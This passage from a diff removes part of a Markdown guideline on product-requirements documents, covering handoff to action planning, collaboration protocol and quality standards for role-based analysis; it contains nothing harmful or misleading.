-- **Clear Scope Definition**: Ensure action planners understand exactly what needs to be built
-- **Technical Specifications**: Provide sufficient technical detail for implementation planning
-- **Success Criteria**: Define measurable outcomes for validation
-- **Constraint Documentation**: Clearly communicate all limitations and requirements
-
-### Collaboration Protocol
-- **Document Standards**: Use standardized PRD format for consistency
-- **Review Checkpoints**: Establish review points between conceptual and action planning phases  
-- **Communication Channels**: Maintain clear communication paths for clarifications
-- **Iteration Support**: Support refinement based on action planning feedback
-
-## Integration Guidelines
-
-### Action Planning Handoff
-When analysis is complete, ensure:
-- **Clear Deliverables**: Role-specific analysis and recommendations are well-documented
-- **User Context Preserved**: All user requirements and constraints are captured in outputs
-- **Actionable Content**: Analysis provides concrete next steps for implementation planning
-- **Role Expertise Applied**: Analysis reflects deep domain knowledge from assigned role
-
-## Quality Standards
-
-### Role-Specific Analysis Excellence
-- **Deep Expertise**: Apply comprehensive domain knowledge from assigned role
-- **User Context Integration**: Ensure all user requirements and constraints are addressed
-- **Actionable Recommendations**: Provide concrete, implementable solutions
-- **Clear Documentation**: Generate structured, understandable analysis outputs
-
-### Output Quality Criteria
-- **Completeness**: Cover all relevant aspects from role's perspective
-- **Clarity**: Analysis is clear and unambiguous
-- **Relevance**: Directly addresses user's specified requirements
-- **Actionability**: Provides concrete next steps and recommendations
-